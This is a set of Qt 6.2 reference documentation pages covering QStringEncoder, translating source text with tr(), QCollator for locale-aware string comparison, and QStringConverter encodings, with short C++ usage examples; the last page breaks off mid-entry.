
 A text encoder converts text from Qt's internal representation into an encoded text format using a specific encoding.

 Converting a string from Unicode to the local encoding can be achieved using the following code:

 
```
QString string = "...";
auto fromUtf16 = QStringEncoder(QStringEncoder::Utf8);
QByteArray encodedString = fromUtf16(string);
```
 The encoder remembers any state that is required between calls, so converting data received in chunks, for example, when receiving it over a network, is just as easy, by calling the encoder whenever new data is available:

 
```
auto fromUtf16 = QStringEncoder(QStringEncoder::Utf8);

QByteArray encoded;
while (new_data_available()) {
    QString chunk = get_new_data();
    encoded += fromUtf16(chunk);
}
```
 The QStringEncoder object maintains state between chunks and therefore works correctly even if a UTF-16 surrogate character is split between chunks.

 QStringEncoder objects can't be copied because of their internal state, but can be moved.

 **See also** [QStringConverter](qstringconverter) and [QStringDecoder](qstringdecoder).

 Member Function Documentation
-----------------------------

  ### 
[QByteArray](qbytearray) QStringEncoder::encode([QStringView](qstringview) *in*)


### 
[QByteArray](qbytearray) QStringEncoder::encode(const [QString](qstring) &*in*)


### 
[QByteArray](qbytearray) QStringEncoder::operator()([QStringView](qstringview) *in*)


### 
[QByteArray](qbytearray) QStringEncoder::operator()(const [QString](qstring) &*in*)


 Converts *in* and returns the data as a byte array.

 ### QStringEncoder::QStringEncoder(const char \**name*, [QStringConverter::Flags](qstringconverter#Flag-enum) *flags* = Flag::Default)

 Creates an encoder object using *name* and *flags*. If *name* is not the name of a known encoding an invalid converter will get created.

 **See also** [isValid](qstringconverter#isValid)().

 ### QStringEncoder::QStringEncoder([QStringConverter::Encoding](qstringconverter#Encoding-enum) *encoding*, [QStringConverter::Flags](qstringconverter#Flag-enum) *flags* = Flag::Default)

 Creates an encoder object using *encoding* and *flags*.

 ### QStringEncoder::QStringEncoder()

 Default constructs an encoder. The default encoder is not valid, and can't be used for converting text.

 ### 
char \*QStringEncoder::appendToBuffer(char \**out*, [QStringView](qstringview) *in*)

 Encodes *in* and writes the encoded result into the buffer starting at *out*. Returns a pointer to the end of the data written.

  **Note:** *out* must be large enough to be able to hold all the decoded data. Use [requiredSpace](qstringencoder#requiredSpace)() to determine the maximum size requirement to be able to encode *in*.

  **See also** [requiredSpace](qstringencoder#requiredSpace)().

 ### 
qsizetype QStringEncoder::requiredSpace(qsizetype *inputLength*) const

 Returns the maximum amount of characters required to be able to process *inputLength* decoded data.

 **See also** [appendToBuffer](qstringencoder#appendToBuffer)().



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qstringencoder.html>

Writing Source Code for Translation
===================================

 Writing cross-platform international software with Qt is a gentle, incremental process. Your software can become internationalized in the stages described in the following sections. For more information about internalizing Qt Quick application, see [Internationalization and Localization with Qt Quick](qtquick-internationalization).

 Using QString for All User-Visible Text
---------------------------------------

 Since [QString](qstring) uses the Unicode encoding internally, every language in the world can be processed transparently using familiar text processing operations. Also, since all Qt functions that present text to the user take a [QString](qstring) as a parameter, there is no `char *` to [QString](qstring) conversion overhead.

 Strings that are in "programmer space" (such as [QObject](qobject) names and file format texts) need not use [QString](qstring); the traditional `char *` or the [QByteArray](qbytearray) class will suffice.

 You're unlikely to notice that you are using Unicode; [QString](qstring), and [QChar](qchar) are just easier versions of the crude `const char *` and `char` from traditional C.

 `char *` strings in source code are assumed to be [UTF-8](http://www.ietf.org/rfc/rfc2279.txt) encoded when being implicitly converted to a [QString](qstring). If your C string literal uses a different encoding, use [QString::fromLatin1](qstring#fromLatin1)() or [QTextCodec](qtextcodec) to convert the literal to a Unicode encoded [QString](qstring).

 Using tr() for All Literal Text
-------------------------------

 Wherever your program uses a string literal (quoted text) that will be presented to the user, ensure that it is processed by the [QCoreApplication::translate](qcoreapplication#translate)() function. Essentially all that is necessary to achieve this is to use the [tr](qobject#tr)() function to obtain translated text for your classes, typically for display purposes. This function is also used to indicate which text strings in an application are translatable.

 For example, assuming the `LoginWidget` is a subclass of [QWidget](qwidget):

 
```
LoginWidget::LoginWidget()
{
    QLabel *label = new QLabel(tr("Password:"));
    ...
}
```
 This accounts for 99% of the user-visible strings you're likely to write.

 If the quoted text is not in a member function of a [QObject](qobject) subclass, use either the tr() function of an appropriate class, or the [QCoreApplication::translate](qcoreapplication#translate)() function directly:

 
```
void some_global_function(LoginWidget *logwid)
{
    QLabel *label = new QLabel(
                LoginWidget::tr("Password:"), logwid);
}

void same_global_function(LoginWidget *logwid)
{
    QLabel *label = new QLabel(
                QCoreApplication::translate("LoginWidget", "Password:"), logwid);
}
```
 Qt indexes each translatable string by the *translation context* it is associated with; this is generally the name of the [QObject](qobject) subclass it is used in.

 Translation contexts are defined for new [QObject](qobject)-based classes by the use of the [Q\_OBJECT](qobject#Q_OBJECT) macro in each new class definition.

 When tr() is called, it looks up the translatable string using a [QTranslator](qtranslator) object. For translation to work, one or more of these must have been installed on the application object in the way described in [Enabling Translation](internationalization#enabling-translation).

 Translating strings in QML works exactly the same way as in C++, with the only difference being that you need to call qsTr() instead of [tr](qobject#tr)(). See also the page on [Internationalization and Localization with Qt Quick](qtquick-internationalization).

 Defining a Translation Context
------------------------------

 The translation context for [QObject](qobject) and each [QObject](qobject) subclass is the class name itself. Developers subclassing [QObject](qobject) must use the [Q\_OBJECT](qobject#Q_OBJECT) macro in their class definition to override the translation context. This macro sets the context to the name of the subclass.

 For example, the following class definition includes the [Q\_OBJECT](qobject#Q_OBJECT) macro, implementing a new tr() that uses the `MainWindow` context:

 
```
class MainWindow : public QMainWindow
{
    Q_OBJECT

public:
    MainWindow();
    ...
```
 If [Q\_OBJECT](qobject#Q_OBJECT) is not used in a class definition, the context will be inherited from the base class. For example, since all [QObject](qobject)-based classes in Qt provide a context, a new [QWidget](qwidget) subclass defined without a [Q\_OBJECT](qobject#Q_OBJECT) macro will use the `QWidget` context if its tr() function is invoked.

 Using tr() to Obtain a Translation
----------------------------------

 The following example shows how a translation is obtained for the class shown in the previous section:

 
```
void MainWindow::createMenus()
{
    fileMenu = menuBar()->addMenu(tr("&File"));
    ...
```
 Here, the translation context is `MainWindow` because it is the `MainWindow::tr()` function that is invoked. The text returned by the tr() function is a translation of "&File" obtained from the `MainWindow` context.

 When Qt's translation tool, [lupdate](https://doc.qt.io/qt-6.2/linguist-manager.html#using-lupdate), is used to process a set of source files, the text wrapped in tr() calls is stored in a section of the translation file that corresponds to its translation context.

 In some situations, it is useful to give a translation context explicitly by fully qualifying the call to tr(); for example:

 
```
QString text = QScrollBar::tr("Page up");
```
 This call obtains the translated text for "Page up" from the `QScrollBar` context. Developers can also use the [QCoreApplication::translate](qcoreapplication#translate)() function to obtain a translation for a particular translation context.

 Using tr() to Localize Numbers
------------------------------

 You can localize numbers by using appropriate tr() strings:

 
```
void Clock::setTime(const QTime &time)
{
    if (tr("AMPM") == "AMPM") {
        // 12-hour clock
    } else {
        // 24-hour clock
    }
}
```
 In the example, for the US we would leave the translation of "AMPM" as it is and thereby use the 12-hour clock branch; but in Europe we would translate it as something else to make the code use the 24-hour clock branch.

 Translating Non-Qt Classes
--------------------------

 It is sometimes necessary to provide internationalization support for strings used in classes that do not inherit [QObject](qobject) or use the [Q\_OBJECT](qobject#Q_OBJECT) macro to enable translation features. Since Qt translates strings at run-time based on the class they are associated with and `lupdate` looks for translatable strings in the source code, non-Qt classes must use mechanisms that also provide this information.

 One way to do this is to add translation support to a non-Qt class using the [Q\_DECLARE\_TR\_FUNCTIONS](qcoreapplication#Q_DECLARE_TR_FUNCTIONS)() macro; for example:

 
```
class MyClass
{
    Q_DECLARE_TR_FUNCTIONS(MyClass)

public:
    MyClass();
    ...
};
```
 This provides the class with [tr](qobject#tr)() functions that can be used to translate strings associated with the class, and makes it possible for `lupdate` to find translatable strings in the source code.

 Alternatively, the [QCoreApplication::translate](qcoreapplication#translate)() function can be called with a specific context, and this will be recognized by `lupdate` and Qt Linguist.

 Translator Comments
-------------------

 Developers can include information about each translatable string to help translators with the translation process. These are extracted when `lupdate` is used to process the source files. The recommended way to add comments is to annotate the tr() calls in your code with comments of the form:

 `//: ...`

 or

 ``/*`: ... `*/``

 Examples:

 
```
//: This name refers to a host name.
hostNameLabel->setText(tr("Name:"));

/*: This text refers to a C++ code example. */
QString example = tr("Example");
```
 In these examples, the comments will be associated with the strings passed to tr() in the context of each call.

 Adding Meta-Data to Strings
---------------------------

 Additional data can be attached to each translatable message. These are extracted when `lupdate` is used to process the source files. The recommended way to add meta-data is to annotate the tr() calls in your code with comments of the form:

 `//= <id>`

 This can be used to give the message a unique identifier to support tools which need it.

 An alternative way to attach meta-data is to use the following syntax:

 `//~ <field name> <field contents>`

 This can be used to attach meta-data to the message. The field name should consist of a domain prefix (possibly the conventional file extension of the file format the field is inspired by), a hyphen and the actual field name in underscore-delimited notation. For storage in TS files, the field name together with the prefix "extra-" will form an XML element name. The field contents will be XML-escaped, but otherwise appear verbatim as the element's contents. Any number of unique fields can be added to each message.

 Example:

 
```
//: This is a comment for the translator.
//= qtn_foo_bar
//~ loc-layout_id foo_dialog
//~ loc-blank False
//~ magic-stuff This might mean something magic.
QString text = MyMagicClass::tr("Sim sala bim.");
```
 You can use the keyword *TRANSLATOR* for translator comments. Meta-data appearing right in front of the TRANSLATOR keyword applies to the whole TS file.

 Disambiguation
--------------

 If the same translatable string is used in different roles within the same translation context, an additional identifying string may be passed in the call to [tr](qobject#tr)(). This optional disambiguation argument is used to distinguish between otherwise identical strings.

 Example:

 
```
MyWindow::MyWindow()
{
    QLabel *senderLabel = new QLabel(tr("Name:"));
    QLabel *recipientLabel = new QLabel(tr("Name:", "recipient"));
    ...
```
 In Qt 4.4 and earlier, this disambiguation parameter was the preferred way to specify comments to translators.

 Handling Plurals
----------------

 Some translatable strings contain placeholders for integer values and need to be translated differently depending on the values in use.

 To help with this problem, developers pass an additional integer argument to the [tr](qobject#tr)() function, and typically use a special notation for plurals in each translatable string.

 If this argument is equal or greater than zero, all occurrences of `%n` in the resulting string are replaced with a decimal representation of the value supplied. In addition, the translation used will adapt to the value according to the rules for each language.

 Example:

 
```
int n = messages.count();
showMessage(tr("%n message(s) saved", "", n));
```
 The table below shows what string is returned depending on the active translation:

 

|  | Active Translation |
| --- | --- |
| *n* | No Translation | French | English |
| 0 | "0 message(s) saved" | "0 message sauvegardé" | "0 message**s** saved" |
| 1 | "1 message(s) saved" | "1 message sauvegardé" | "1 message saved" |
| 2 | "2 message(s) saved" | "2 message**s** sauvegardé**s**" | "2 message**s** saved" |
| 37 | "37 message(s) saved" | "37 message**s** sauvegardé**s**" | "37 message**s** saved" |

 This idiom is more flexible than the traditional approach; e.g.,

 
```
n == 1 ? tr("%n message saved") : tr("%n messages saved")
```
 because it also works with target languages that have several plural forms (e.g., Irish has a special "dual" form that should be used when `n` is 2), and it handles the *n* == 0 case correctly for languages such as French that require the singular.

 To handle plural forms in the native language, you need to load a translation file for this language, too. The lupdate tool has the `-pluralonly` command line option, which allows the creation of TS files containing only entries with plural forms.

 See the [Qt Quarterly](http://doc.qt.io/archives/qq/) Article [Plural Forms in Translations](http://doc.qt.io/archives/qq/qq19-plurals.html) for further details on this issue.

 Instead of `%n`, you can use `%Ln` to produce a localized representation of *n*. The conversion uses the default locale, set using [QLocale::setDefault](qlocale#setDefault)(). (If no default locale was specified, the system wide locale is used.)

 A summary of the rules used to translate strings containing plurals can be found in the [Translation Rules for Plurals](i18n-plural-rules) document.

 Translating Text That is Outside of a QObject Subclass
------------------------------------------------------

 ### Using QCoreApplication::translate()

 If the quoted text is not in a member function of a [QObject](qobject) subclass, use either the tr() function of an appropriate class, or the [QCoreApplication::translate](qcoreapplication#translate)() function directly:

 
```
void some_global_function(LoginWidget *logwid)
{
    QLabel *label = new QLabel(
            LoginWidget::tr("Password:"), logwid);
}

void same_global_function(LoginWidget *logwid)
{
    QLabel *label = new QLabel(
            QCoreApplication::translate("LoginWidget", "Password:"),
            logwid);
}
```
 ### Using QT\_TR\_NOOP() and QT\_TRANSLATE\_NOOP() in C++

 If you need to have translatable text completely outside a function, there are two macros to help: [QT\_TR\_NOOP](qtglobal#QT_TR_NOOP)() and [QT\_TRANSLATE\_NOOP](qtglobal#QT_TRANSLATE_NOOP)(). They merely mark the text for extraction by the `lupdate` tool. The macros expand to just the text (without the context).

 Example of [QT\_TR\_NOOP](qtglobal#QT_TR_NOOP)():

 
```
QString FriendlyConversation::greeting(int type)
{
    static const char *greeting_strings[] = {
        QT_TR_NOOP("Hello"),
        QT_TR_NOOP("Goodbye")
    };
    return tr(greeting_strings[type]);
}
```
 Example of [QT\_TRANSLATE\_NOOP](qtglobal#QT_TRANSLATE_NOOP)():

 
```
static const char *greeting_strings[] = {
    QT_TRANSLATE_NOOP("FriendlyConversation", "Hello"),
    QT_TRANSLATE_NOOP("FriendlyConversation", "Goodbye")
};

QString FriendlyConversation::greeting(int type)
{
    return tr(greeting_strings[type]);
}

QString global_greeting(int type)
{
    return QCoreApplication::translate("FriendlyConversation",
                                       greeting_strings[type]);
}
```
 If you disable the `const char *` to [QString](qstring) automatic conversion by compiling your software with the macro `QT_NO_CAST_FROM_ASCII` defined, you'll be very likely to catch any strings you are missing. See [QString::fromUtf8](qstring#fromUtf8)() and [QString::fromLatin1](qstring#fromLatin1)() for more information.

 Using QKeySequence() for Accelerator Values
-------------------------------------------

 Accelerator values such as Ctrl+Q or Alt+F need to be translated too. If you hardcode `Qt::CTRL + Qt::Key_Q` for "quit" in your application, translators won't be able to override it. The correct idiom is:

 
```
exitAct = new QAction(tr("E&xit"), this);
exitAct->setShortcuts(QKeySequence::Quit);
```
 Using Numbered Arguments
------------------------

 The [QString::arg](qstring#arg)() functions offer a simple means for substituting arguments:

 
```
void FileCopier::showProgress(int done, int total,
                              const QString &currentFile)
{
    label.setText(tr("%1 of %2 files copied.\nCopying: %3")
                  .arg(done)
                  .arg(total)
                  .arg(currentFile));
}
```
 In some languages the order of arguments may need to change, and this can easily be achieved by changing the order of the % arguments. For example:

 
```
QString s1 = "%1 of %2 files copied. Copying: %3";
QString s2 = "Kopierer nu %3. Av totalt %2 filer er %1 kopiert.";

qDebug() << s1.arg(5).arg(10).arg("somefile.txt");
qDebug() << s2.arg(5).arg(10).arg("somefile.txt");
```
 produces the correct output in English and Norwegian:

 
```
5 of 10 files copied. Copying: somefile.txt
Kopierer nu somefile.txt. Av totalt 10 filer er 5 kopiert.
```
 Further Reading
---------------

 [Qt Linguist Manual](https://doc.qt.io/qt-6.2/qtlinguist-index.html), [Hello tr() Example](https://doc.qt.io/qt-6.2/qtlinguist-hellotr-example.html), [Translation Rules for Plurals](i18n-plural-rules)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/i18n-source-translation.html>

QCollator Class
===============

 The QCollator class compares strings according to a localized collation algorithm. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QCollator> |
|  CMake: |  find\_package(Qt6 COMPONENTS Core REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Core) |
|  qmake: |  QT += core |
|  Since: |  Qt 5.2 |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qcollator-members.html)

 **Note:** All functions in this class are [reentrant](17-qdoc-commands-thread#reentrant).

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QCollator](qcollator#QCollator-3)**(QCollator &&*other*) |
|  | **[QCollator](qcollator#QCollator-2)**(const QCollator &*other*) |
|  | **[QCollator](qcollator#QCollator-1)**(const QLocale &*locale*) |
|  | **[QCollator](qcollator#QCollator)**() |
|  QCollator & | **[operator=](qcollator#operator-eq-1)**(QCollator &&*other*) |
|  QCollator & | **[operator=](qcollator#operator-eq)**(const QCollator &*other*) |
|  | **[~QCollator](qcollator#dtor.QCollator)**() |
|  Qt::CaseSensitivity  | **[caseSensitivity](qcollator#caseSensitivity)**() const |
|  int  | **[compare](qcollator#compare)**(QStringView *s1*, QStringView *s2*) const |
|  int  | **[compare](qcollator#compare-1)**(const QString &*s1*, const QString &*s2*) const |
|  int  | **[compare](qcollator#compare-2)**(const QChar \**s1*, int *len1*, const QChar \**s2*, int *len2*) const |
|  bool  | **[ignorePunctuation](qcollator#ignorePunctuation)**() const |
|  QLocale  | **[locale](qcollator#locale)**() const |
|  bool  | **[numericMode](qcollator#numericMode)**() const |
|  void  | **[setCaseSensitivity](qcollator#setCaseSensitivity)**(Qt::CaseSensitivity *cs*) |
|  void  | **[setIgnorePunctuation](qcollator#setIgnorePunctuation)**(bool *on*) |
|  void  | **[setLocale](qcollator#setLocale)**(const QLocale &*locale*) |
|  void  | **[setNumericMode](qcollator#setNumericMode)**(bool *on*) |
|  QCollatorSortKey  | **[sortKey](qcollator#sortKey)**(const QString &*string*) const |
|  void  | **[swap](qcollator#swap)**(QCollator &*other*) |
|  bool  | **[operator()](qcollator#operator-28-29)**(QStringView *s1*, QStringView *s2*) const |
|  bool  | **[operator()](qcollator#operator-28-29-1)**(const QString &*s1*, const QString &*s2*) const |

 Detailed Description
--------------------

 QCollator is initialized with a [QLocale](qlocale). It can then be used to compare and sort strings in using the ordering appropriate to the locale.

 A QCollator object can be used together with template-based sorting algorithms, such as std::sort(), to sort a list with [QString](qstring) entries.

 
```
QStringList sortedStrings(QStringList seq)
{
    QCollator order;
    std::sort(seq.begin(), seq.end(), order);
    return seq;
}
```
 In addition to the locale, several optional flags can be set that influence the result of the collation.

  **Note:** On Linux, Qt is normally compiled to use ICU. When it isn't, all options are ignored and the only supported locales are the system default (that `setlocale(LC_COLLATE, nullptr)` would report) and the "C" locale.

  Member Function Documentation
-----------------------------

 ### QCollator::QCollator([QCollator](qcollator#QCollator) &&*other*)

 Move constructor. Moves from *other* into this collator.

 Note that a moved-from QCollator can only be destroyed or assigned to. The effect of calling other functions than the destructor or one of the assignment operators is undefined.

 ### QCollator::QCollator(const [QCollator](qcollator#QCollator) &*other*)

 Creates a copy of *other*.

 ### QCollator::QCollator(const [QLocale](qlocale) &*locale*)

 Constructs a QCollator using the given *locale*.

 **See also** [setLocale](qcollator#setLocale)().

 ### 
`[since 5.13]` QCollator::QCollator()

 Constructs a QCollator using the default locale's collation locale.

 The system locale, when used as default locale, may have a collation locale other than itself (e.g. on Unix, if LC\_COLLATE is set differently to LANG in the environment). All other locales are their own collation locales.

 This function was introduced in Qt 5.13.

 **See also** [setLocale](qcollator#setLocale)(), [QLocale::collation](qlocale#collation)(), and [QLocale::setDefault](qlocale#setDefault)().

 ### 
[QCollator](qcollator#QCollator) &QCollator::operator=([QCollator](qcollator#QCollator) &&*other*)

 Move-assigns from *other* to this collator.

 Note that a moved-from [QCollator](qcollator) can only be destroyed or assigned to. The effect of calling other functions than the destructor or one of the assignment operators is undefined.

 ### 
[QCollator](qcollator#QCollator) &QCollator::operator=(const [QCollator](qcollator#QCollator) &*other*)

 Assigns *other* to this collator.

 ### QCollator::~QCollator()

 Destroys this collator.

 ### 
[Qt::CaseSensitivity](qt#CaseSensitivity-enum) QCollator::caseSensitivity() const

 Returns case sensitivity of the collator.

 This defaults to case-sensitive until set.

  **Note:** In the C locale, when case-sensitive, all lower-case letters sort after all upper-case letters, where most locales sort each lower-case letter either immediately before or immediately after its upper-case partner. Thus "Zap" sorts before "ape" in the C locale but after in most others.

  **See also** [setCaseSensitivity](qcollator#setCaseSensitivity)().

 ### 
`[since 5.13]` int QCollator::compare([QStringView](qstringview) *s1*, [QStringView](qstringview) *s2*) const

 Compares *s1* with *s2*.

 Returns an integer less than, equal to, or greater than zero depending on whether *s1* sorts before, with or after *s2*.

 This function was introduced in Qt 5.13.

 ### 
`[since 5.2]` int QCollator::compare(const [QString](qstring) &*s1*, const [QString](qstring) &*s2*) const

 This is an overloaded function.

 This function was introduced in Qt 5.2.

 ### 
`[since 5.2]` int QCollator::compare(const [QChar](qchar) \**s1*, int *len1*, const [QChar](qchar) \**s2*, int *len2*) const

 This is an overloaded function.

 Compares *s1* with *s2*. *len1* and *len2* specify the lengths of the [QChar](qchar) arrays pointed to by *s1* and *s2*.

 Returns an integer less than, equal to, or greater than zero depending on whether *s1* sorts before, with or after *s2*.

 This function was introduced in Qt 5.2.

 ### 
bool QCollator::ignorePunctuation() const

 Returns whether punctuation and symbols are ignored when collating.

 When `true`, strings are compared as if all punctuation and symbols were removed from each string.

 **See also** [setIgnorePunctuation](qcollator#setIgnorePunctuation)().

 ### 
[QLocale](qlocale) QCollator::locale() const

 Returns the locale of the collator.

 Unless supplied to the constructor or by calling [setLocale](qcollator#setLocale)(), the system's default collation locale is used.

 **See also** [setLocale](qcollator#setLocale)() and [QLocale::collation](qlocale#collation)().

 ### 
bool QCollator::numericMode() const

 Returns `true` if numeric sorting is enabled, `false` otherwise.

 When `true`, numerals are recognized as numbers and sorted in arithmetic order; for example, 100 sortes after 99. When `false`, numbers are sorted in lexical order, so that 100 sorts before 99 (because 1 is before 9). By default, this option is disabled.

 **See also** [setNumericMode](qcollator#setNumericMode)().

 ### 
void QCollator::setCaseSensitivity([Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs*)

 Sets the case-sensitivity of the collator to *cs*.

 **See also** [caseSensitivity](qcollator#caseSensitivity)().

 ### 
void QCollator::setIgnorePunctuation(bool *on*)

 Ignores punctuation and symbols if *on* is `true`, attends to them if `false`.

 **See also** [ignorePunctuation](qcollator#ignorePunctuation)().

 ### 
void QCollator::setLocale(const [QLocale](qlocale) &*locale*)

 Sets the locale of the collator to *locale*.

 **See also** [locale](qcollator#locale)().

 ### 
void QCollator::setNumericMode(bool *on*)

 Enables numeric sorting mode when *on* is `true`.

 **See also** [numericMode](qcollator#numericMode)().

 ### 
[QCollatorSortKey](qcollatorsortkey) QCollator::sortKey(const [QString](qstring) &*string*) const

 Returns a sortKey for *string*.

 Creating the sort key is usually somewhat slower, than using the [compare](qcollator#compare)() methods directly. But if the string is compared repeatedly (e.g. when sorting a whole list of strings), it's usually faster to create the sort keys for each string and then sort using the keys.

  **Note:** Not supported with the C (a.k.a. POSIX) locale on Darwin.

  ### 
void QCollator::swap([QCollator](qcollator#QCollator) &*other*)

 Swaps this collator with *other*. This function is very fast and never fails.

 ### 
`[since 5.13]` bool QCollator::operator()([QStringView](qstringview) *s1*, [QStringView](qstringview) *s2*) const

 A [QCollator](qcollator) can be used as the comparison function of a sorting algorithm. It returns `true` if *s1* sorts before *s2*, otherwise `false`.

 This function was introduced in Qt 5.13.

 **See also** [compare](qcollator#compare)().

 ### 
`[since 5.2]` bool QCollator::operator()(const [QString](qstring) &*s1*, const [QString](qstring) &*s2*) const

 This is an overloaded function.

 This function was introduced in Qt 5.2.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qcollator.html>

QStringConverter Class
======================

 The QStringConverter class provides a base class for encoding and decoding text. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QStringConverter> |
|  CMake: |  find\_package(Qt6 COMPONENTS Core REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Core) |
|  qmake: |  QT += core |
|  Inherited By: | [QStringDecoder](qstringdecoder) and [QStringEncoder](qstringencoder) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qstringconverter-members.html)

 **Note:** All functions in this class are [reentrant](17-qdoc-commands-thread#reentrant).

 Public Types
------------

 

|  |  |
| --- | --- |
|  enum  | **[Encoding](qstringconverter#Encoding-enum)** { Utf8, Utf16, Utf16BE, Utf16LE, Utf32, …, System } |
|  enum class  | **[Flag](qstringconverter#Flag-enum)** { Default, ConvertInvalidToNull, WriteBom, ConvertInitialBom, Stateless } |
|  flags  | **[Flags](qstringconverter#Flag-enum)** |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  bool  | **[hasError](qstringconverter#hasError)**() const |
|  bool  | **[isValid](qstringconverter#isValid)**() const |
|  const char \* | **[name](qstringconverter#name)**() const |
|  void  | **[resetState](qstringconverter#resetState)**() |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  std::optional<Encoding>  | **[encodingForData](qstringconverter#encodingForData)**(QByteArrayView *data*, char16\_t *expectedFirstCharacter* = 0) |
|  std::optional<Encoding>  | **[encodingForHtml](qstringconverter#encodingForHtml)**(QByteArrayView *data*) |
|  std::optional<Encoding>  | **[encodingForName](qstringconverter#encodingForName)**(const char \**name*) |
|  const char \* | **[nameForEncoding](qstringconverter#nameForEncoding)**(QStringConverter::Encoding *e*) |

 Detailed Description
--------------------

 Qt uses UTF-16 to store, draw and manipulate strings. In many situations you may wish to deal with data that uses a different encoding. Most text data transferred over files and network connections is encoded in UTF-8.

 The QStringConverter class is a base class for the [QStringEncoder](qstringencoder) and [QStringDecoder](qstringdecoder) classes that help with converting between different text encodings. [QStringDecoder](qstringdecoder) can decode a string from an encoded representation into UTF-16, the format Qt uses internally. [QStringEncoder](qstringencoder) does the opposite operation, encoding UTF-16 encoded data (usually in the form of a [QString](qstring)) to the requested encoding.

 The supported encodings are:

 * UTF-8
* UTF-16
* UTF-16BE
* UTF-16LE
* UTF-32
* UTF-32BE
* UTF-32LE
* ISO-8859-1 (Latin-1)
* The system encoding

 [QStringConverter](qstringconverter)s can be used as follows to convert some encoded string to and from UTF-16.

 Suppose you have some string encoded in UTF-8, and want to convert it to a [QString](qstring). The simple way to do it is to use a [QStringDecoder](qstringdecoder) like this:

 
```
QByteArray encodedString = "...";
auto toUtf16 = QStringDecoder(QStringDecoder::Utf8);
QString string = toUtf16(encodedString);
```
 After this, `string` holds the text in decoded form. Converting a string from Unicode to the local encoding is just as easy using the [QStringEncoder](qstringencoder) class:

 
```
QString string = "...";
auto fromUtf16 = QStringEncoder(QStringEncoder::Utf8);
QByteArray encodedString = fromUtf16(string);
```
 To read or write text files in various encodings, use [QTextStream](qtextstream) and its [setEncoding](qtextstream#setEncoding)() function.

 Some care must be taken when trying to convert the data in chunks, for example, when receiving it over a network. In such cases it is possible that a multi-byte character will be split over two chunks. At best this might result in the loss of a character and at worst cause the entire conversion to fail.

 Both [QStringEncoder](qstringencoder) and [QStringDecoder](qstringdecoder) make this easy, by tracking this in an internal state. So simply calling the encoder or decoder again with the next chunk of data will automatically continue encoding or decoding the data correctly:

 
```
auto toUtf16 = QStringDecoder(QStringDecoder::Utf8);

QString string;
while (new_data_available()) {
    QByteArray chunk = get_new_data();
    string += toUtf16(chunk);
}
```
 The [QStringDecoder](qstringdecoder) object maintains state between chunks and therefore works correctly even if a multi-byte character is split between chunks.

 QStringConverter objects can't be copied because of their internal state, but can be moved.

 **See also** [QTextStream](qtextstream), [QStringDecoder](qstringdecoder), and [QStringEncoder](qstringencoder).

 Member Type Documentation
-------------------------

 ### enum QStringConverter::Encoding

 

| Constant | Value | Description |
| --- | --- | --- |
| `QStringConverter::Utf8` | `0` | Create a converter to or from UTF-8 |
| `QStringConverter::Utf16` | `1` | Create a converter to or from UTF-16. When decoding, the byte order will get automatically detected by a leading byte order mark. If none exists or when encoding, the system byte order will be assumed. |
| `QStringConverter::Utf16BE` | `3` | Create a converter to or from big-endian UTF-16. |
| `QStringConverter::Utf16LE` | `2` | Create a converter to or from little-endian UTF-16. |
| `QStringConverter::Utf32` | `4` | Create a converter to or from UTF-32. When decoding, the byte order will get automatically detected by a leading byte order mark. If none exists or when encoding, the system byte order will be assumed. |
| `QStringConverter::Utf32BE` | `6` | Create a converter to or from big-endian UTF-32. |
| `QStringConverter::Utf32LE` | `5` | Create a converter to or from little-endian UTF-32. |
| `QStringConverter::Latin1` | `7` | Create a converter to or from ISO-8859-1 (Latin1). |
| `QStringConverter::System` | `8` | Create a converter to or from the underlying encoding of the operating systems locale. This is always assumed to be UTF-8 for Unix based systems. On Windows, this converts to and from the locale code page. |

 ### enum class QStringConverter::Flagflags QStringConverter::Flags

 

| Constant | Value | Description |
| --- | --- | --- |
| `QStringConverter::Flag::Default` | `0` | Default conversion rules apply. |
| `QStringConverter::Flag::ConvertInvalidToNull` | `0x2` | If this flag is set, each invalid input character is output as a null character. If it is not set, invalid input characters are represented as [QChar::ReplacementCharacter](qchar#SpecialCharacter-enum) if the output encoding can represent that character, otherwise as a question mark. |
| `QStringConverter::Flag::WriteBom` | `0x4` | When converting from a [QString](qstring) to an output encoding, write a [QChar::ByteOrderMark](qchar#SpecialCharacter-enum) as the first character if the output encoding supports this. This is the case for UTF-8, UTF-16 and UTF-32 encodings. |
| `QStringConverter::Flag::ConvertInitialBom` | `0x8` | When converting from an input encoding to a [QString](qstring) the [QStringDecoder](qstringdecoder) usually skips an leading [QChar::ByteOrderMark](qchar#SpecialCharacter-enum). When this flag is set, the byte order mark will not be skipped, but converted to utf-16 and inserted at the start of the created [QString](qstring). |
| `QStringConverter::Flag::Stateless` | `0x1` | Ignore possible converter states between different function calls to encode or decode strings. This will also cause the [QStringConverter](qstringconverter) to raise an error if an incomplete sequence of data is encountered. |

 The Flags type is a typedef for [QFlags](qflags)<Flag>. It stores an OR combination of Flag values.

 Member Function Documentation
-----------------------------

 ### 
`[static]` std::optional<[Encoding](qstringconverter#Encoding-enum)> QStringConverter::encodingForData([QByteArrayView](qbytearrayview) *data*, char16\_t *expectedFirstCharacter* = 0)

 Returns the encoding for the content of *data* if it can be determined. *expectedFirstCharacter* can be passed as an additional hint to help determine the encoding.

 The returned optional is empty, if the encoding is unclear.

 ### 
`[static]` std::optional<[Encoding](qstringconverter#Encoding-enum)> QStringConverter::encodingForHtml([QByteArrayView](qbytearrayview) *data*)

 Tries to determine the encoding of the HTML in *data* by looking at leading byte order marks or a charset specifier in the HTML meta tag. If the optional is empty, the encoding specified is not supported by [QStringConverter](qstringconverter). If no encoding is detected, the method returns Utf8.

 ### 
`[static]` std::optional<[Encoding](qstringconverter#Encoding-enum)> QStringConverter::encodingForName(const char \**name*)

